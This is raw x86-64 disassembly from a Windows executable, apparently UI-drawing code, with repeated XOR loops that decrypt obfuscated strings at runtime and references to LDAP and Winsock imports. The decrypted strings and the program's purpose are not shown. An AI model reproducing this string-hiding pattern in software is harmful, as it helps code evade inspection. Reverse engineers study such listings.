lea rax, [0x14049f190]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f188]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f180]
xor r8d, r8d
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x7b1]
call fcn.140070150
test al, al
je 0x1400f7451
call fcn.14008e510
mov dword [rbp + 0x428], 0x43a28000
mov dword [rbp + 0x42c], 0x43ca8000
lea rcx, [rbp + 0x428]
call fcn.140044e30
movaps xmm3, xmmword [0x1402dae40]
movaps xmm2, xmmword [0x1402dad60]
movaps xmm1, xmmword [0x140327e80]
mov dword [rbp + 0x430], 0x438e8000
mov dword [rbp + 0x434], 0x42200000
movsd xmm0, qword [str.wQPF]
movsd qword [rbp + 0x76c], xmm0
movzx ecx, word [0x140324b30]
mov word [rbp + 0x774], cx
movzx eax, byte [0x140324b32]
mov byte [rbp + 0x76c], 0x44
xor byte [rbp + 0x76d], 0x34
xor byte [rbp + 0x76e], 0x35
xor byte [rbp + 0x76f], 0x36
xor byte [rbp + 0x770], 0x37
xor byte [rbp + 0x771], 0x38
xor byte [rbp + 0x772], 0x39
xor byte [rbp + 0x773], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x774], cl
xor byte [rbp + 0x775], 0x3c
xor al, 0x3d
mov byte [rbp + 0x776], al
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmmword [rbp - 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f1b8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f1b0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f1a8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f1a0]
xor r8d, r8d
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x76c]
call fcn.140070150
test al, al
je 0x1400f758f
call fcn.140097ed0
mov dword [rbp + 0x438], 0x43a28000
mov dword [rbp + 0x43c], 0x41a00000
lea rcx, [rbp + 0x438]
call fcn.140044e30
movss xmm6, dword [rdi + 0xf8]
movss xmm7, dword [rdi + 0xfc]
movss xmm1, dword [0x1402d3d94]
movaps xmm3, xmm1
movaps xmm2, xmm12
movaps xmm0, xmm12
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x440]
call fcn.140032bd0
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x444]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x440]
movss dword [rbp + 0xb10], xmm6
movss dword [rbp + 0xb14], xmm7
movss dword [rbp + 0xb18], xmm0
movss dword [rbp + 0xb1c], xmm1
mov rbx, qword [rdi + 0x290]
mov qword [rbp + 0x448], 0
movaps xmm0, xmmword [0x1402dae40]
movups xmmword [rbp + 0xb20], xmm0
lea rcx, [rbp + 0xb20]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0x200
lea rcx, [rbp + 0x448]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm14
mov r9d, eax
lea r8, [rbp + 0xb18]
lea rdx, [rbp + 0xb10]
mov rcx, rbx
call fcn.14004f2d0
mov dword [rbp + 0x450], 0x438e8000
mov dword [rbp + 0x454], 0x42b40000
mov eax, dword [0x140324b34]
mov dword [rbp + 0x3e], eax
movzx eax, word [0x140324b38]
mov word [rbp + 0x42], ax
mov byte [rbp + 0x3e], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x3f], 0x34
xor byte [rbp + 0x40], 0x35
xor byte [rbp + 0x41], 0x36
xor al, 0x37
mov byte [rbp + 0x42], al
xor byte [rbp + 0x43], 0x38
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x3e]
call fcn.140032110
mov rcx, qword [rbp + 0x640]
call fcn.140044c30
mov eax, dword [0x140324b3c]
mov dword [rbp - 0x1d], eax
movzx eax, byte [0x140324b40]
mov byte [rbp - 0x1d], 0x55
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor al, 0x37
mov byte [rbp - 0x19], al
movss xmm1, dword [0x1402d3d84]
lea rcx, [rbp - 0x1d]
call fcn.1400716a0
mov rcx, r13
call fcn.140044c30
movaps xmm0, xmmword [0x140327e60]
movups xmmword [rbp + 0xb30], xmm0
lea rdx, [rbp + 0xb30]
xor ecx, ecx
call fcn.140040ee0
movups xmm0, xmmword [0x140324b48]
movups xmmword [rbp + 0xd2b], xmm0
mov eax, dword [0x140324b58]
mov dword [rbp + 0xd3b], eax
movzx eax, byte [0x140324b5c]
mov byte [rbp + 0xd3f], al
xor r8d, r8d
cmp r15d, 2
jl 0x1400f78b5
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd2f]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f77b0
cmp r8d, 0x15
jge 0x1400f7900
movsxd rax, r8d
lea r9, [rbp + 0xd2b]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400f78d0
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xd2b]
lea rcx, [rbp + 0x458]
call fcn.140033380
movss xmm1, dword [0x1402dacd0]
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x460], xmm0
movss dword [rbp + 0x464], xmm1
lea rcx, [rbp + 0x460]
call fcn.140044e30
movups xmm0, xmmword [str.__TBBK]
movups xmmword [rbp + 0xd40], xmm0
mov eax, dword [0x140324b70]
mov dword [rbp + 0xd50], eax
movzx eax, byte [0x140324b74]
mov byte [rbp + 0xd54], al
xor r8d, r8d
cmp r15d, 2
jl 0x1400f7ac5
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd44]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f79c0
cmp r8d, 0x15
jge 0x1400f7b10
movsxd rax, r8d
lea r9, [rbp + 0xd40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400f7ae0
lea rcx, [rbp + 0xd40]
call fcn.14006cdd0
mov ecx, 1
call fcn.140040920
call fcn.140035d40
mov dword [rbp + 0x468], 0x43a28000
mov dword [rbp + 0x46c], 0x42f00000
lea rcx, [rbp + 0x468]
call fcn.140044e30
movss xmm6, dword [rdi + 0xf8]
movss xmm7, dword [rdi + 0xfc]
movss xmm1, dword [0x140327c70]
movaps xmm3, xmm1
movaps xmm2, xmm12
movaps xmm0, xmm12
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x470]
call fcn.140032bd0
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x474]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x470]
movss dword [rbp + 0xb40], xmm6
movss dword [rbp + 0xb44], xmm7
movss dword [rbp + 0xb48], xmm0
movss dword [rbp + 0xb4c], xmm1
mov rbx, qword [rdi + 0x290]
mov qword [rbp + 0x478], 0
movaps xmm0, xmmword [0x1402dae40]
movups xmmword [rbp + 0xb50], xmm0
lea rcx, [rbp + 0xb50]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0x200
lea rcx, [rbp + 0x478]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm14
mov r9d, eax
lea r8, [rbp + 0xb48]
lea rdx, [rbp + 0xb40]
mov rcx, rbx
call fcn.14004f2d0
mov dword [rbp + 0x480], 0x438e8000
mov dword [rbp + 0x484], 0x43870000
mov eax, dword [0x140324b78]
mov dword [rbp + 0x96], eax
movzx ecx, word [0x140324b7c]
mov word [rbp + 0x9a], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x96], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x97], 0x34
xor byte [rbp + 0x98], 0x35
xor byte [rbp + 0x99], 0x36
xor cl, 0x37
mov byte [rbp + 0x9a], cl
xor byte [rbp + 0x9b], 0x38
xor al, 0x39
mov byte [rbp + 0x9c], al
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x96]
call fcn.140032110
mov rcx, r13
call fcn.140044c30
movups xmm0, xmmword [str.p__P_LHZHTQQza]
movups xmmword [rbp + 0xdc8], xmm0
movsd xmm0, qword [str.2_____Jp__P_LHZHTQQzA]
movsd qword [rbp + 0xdd8], xmm0
xor edi, edi
cmp byte [0x140324b97], dil
je 0x1400f7e60
cmp r15d, 2
jl 0x1400f7e1f
movdqa xmm5, xmmword [0x1402d9220]
mov edx, edi
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xdcc]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400f7d20
jmp 0x1400f7e60
lea r9, [rbp + 0xdc8]
mov r8d, edi
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400f7e30
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xdc8]
lea rcx, [rbp + 0x488]
call fcn.140033380
movaps xmm1, xmm14
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x490], xmm0
movss dword [rbp + 0x494], xmm1
lea rcx, [rbp + 0x490]
call fcn.140044e30
movsd xmm0, qword [0x140324b98]
movsd qword [rbp + 0x86e], xmm0
mov eax, dword [0x140324ba0]
mov dword [rbp + 0x876], eax
movzx eax, word [0x140324ba4]
mov word [rbp + 0x87a], ax
movzx eax, byte [0x140324ba6]
mov byte [rbp + 0x87c], al
mov r8d, edi
cmp r15d, 2
jl 0x1400f8003
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324b98]
xorps xmm2, xmm0
movd dword [rbp + 0x86e], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x872]
xorps xmm2, xmm1
movd dword [rbp + 0x872], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x86e]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400f8010
lea rcx, [rbp + 0x86e]
call fcn.14006cdd0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
movsd xmm0, qword [str.rPCWY__]
movsd qword [rbp + 0x6a9], xmm0
movzx eax, byte [0x140324bb0]
mov byte [rbp + 0x6a9], 0x41
xor byte [rbp + 0x6aa], 0x34
xor byte [rbp + 0x6ab], 0x35
xor byte [rbp + 0x6ac], 0x36
xor byte [rbp + 0x6ad], 0x37
xor byte [rbp + 0x6ae], 0x38
xor byte [rbp + 0x6af], 0x39
xor byte [rbp + 0x6b0], 0x3a
xor al, 0x3b
mov byte [rbp + 0x6b1], al
lea rcx, [rbp + 0x6a9]
call fcn.14006cdd0
mov rcx, r13
call fcn.140044c30
movups xmm0, xmmword [str.gMES_r]
movups xmmword [rbp + 0xb60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400f8260
cmp r15d, 2
jl 0x1400f8220
movdqa xmm5, xmmword [0x1402d9220]
mov edx, edi
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xb64]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400f8121
jmp 0x1400f8260
lea r9, [rbp + 0xb60]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400f8230
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x498]
call fcn.140033380
movss xmm1, dword [0x1402d3d90]
subss xmm1, dword [rax + 4]
mulss xmm1, xmm13
movaps xmm0, xmm12
subss xmm0, dword [rax]
mulss xmm0, xmm13
movss dword [rbp + 0x4a0], xmm0
movss dword [rbp + 0x4a4], xmm1
lea rcx, [rbp + 0x4a0]
call fcn.140044e30
mov eax, dword [0x140324bc8]
mov dword [rbp + 0x44], eax
movzx eax, word [0x140324bcc]
mov word [rbp + 0x48], ax
mov byte [rbp + 0x44], 0x54
xor byte [rbp + 0x45], 0x34
xor byte [rbp + 0x46], 0x35
xor byte [rbp + 0x47], 0x36
xor al, 0x37
mov byte [rbp + 0x48], al
xor byte [rbp + 0x49], 0x38
lea rcx, [rbp + 0x44]
call fcn.14006cdd0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
movsd xmm0, qword [str.cQG_VVTO_]
movsd qword [rbp + 0x6e2], xmm0
movzx eax, word [0x140324bd8]
mov word [rbp + 0x6ea], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f836b
mov byte [rbp + 0x6e2], 0x50
xor byte [rbp + 0x6e3], 0x34
xor byte [rbp + 0x6e4], 0x35
xor byte [rbp + 0x6e5], 0x36
xor byte [rbp + 0x6e6], 0x37
xor byte [rbp + 0x6e7], 0x38
xor byte [rbp + 0x6e8], 0x39
xor byte [rbp + 0x6e9], 0x3a
xor byte [rbp + 0x6ea], 0x3b
xor byte [rbp + 0x6eb], 0x3c
lea rcx, [rbp + 0x6e2]
call fcn.14006cdd0
mov dword [rbp + 0x4a8], 0x42340000
mov dword [rbp + 0x4ac], 0x432a0000
lea rcx, [rbp + 0x4a8]
call fcn.140044e30
movaps xmm7, xmmword [0x140327ea0]
movaps xmm8, xmmword [0x140327ec0]
movaps xmm9, xmm7
mov dword [rbp + 0x4b0], 0x43340000
mov dword [rbp + 0x4b4], 0x42200000
movups xmm0, xmmword [str.zZSYEUXNRSS]
movups xmmword [rbp + 0xca2], xmm0
movzx eax, word [0x140324bf0]
mov word [rbp + 0xcb2], ax
cmp byte [0x140324bf1], 0
je 0x1400f8580
mov r8d, edi
cmp r15d, 2
jl 0x1400f8535
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xca6]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f8430
cmp r8d, 0x12
jge 0x1400f8580
movsxd rax, r8d
lea r9, [rbp + 0xca2]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400f8550
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmmword [rsp + 0x70], xmm8
movdqa xmmword [rbp - 0x70], xmm9
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f1d8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f1d0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f1c8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f1c0]
xor r8d, r8d
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0xca2]
call fcn.140070150
test al, al
je 0x1400f8835
movups xmm0, xmmword [str.__AFD]
movups xmmword [rbp + 0x1f20], xmm0
movups xmm1, xmmword [str.RQM_4l163___:gzb_2_8z_9x.4__3__]
movups xmmword [rbp + 0x1f30], xmm1
movups xmm0, xmmword [0x140324c20]
movups xmmword [rbp + 0x1f40], xmm0
movups xmm1, xmmword [0x140324c30]
movups xmmword [rbp + 0x1f50], xmm1
movups xmm0, xmmword [0x140324c40]
movups xmmword [rbp + 0x1f60], xmm0
movups xmm1, xmmword [0x140324c50]
movups xmmword [rbp + 0x1f70], xmm1
movups xmm0, xmmword [0x140324c60]
movups xmmword [rbp + 0x1f80], xmm0
movups xmm1, xmmword [0x140324c70]
movups xmmword [rbp + 0x1f90], xmm1
movups xmm0, xmmword [0x140324c80]
movups xmmword [rbp + 0x1fa0], xmm0
movsd xmm0, qword [0x140324c90]
movsd qword [rbp + 0x1fb0], xmm0
mov eax, dword [0x140324c98]
mov dword [rbp + 0x1fb8], eax
movzx eax, word [reloc.WLDAP32.dll_Ordinal_79]
mov word [rbp + 0x1fbc], ax
mov r8d, edi
cmp r15d, 2
jl 0x1400f87cf
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1f20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
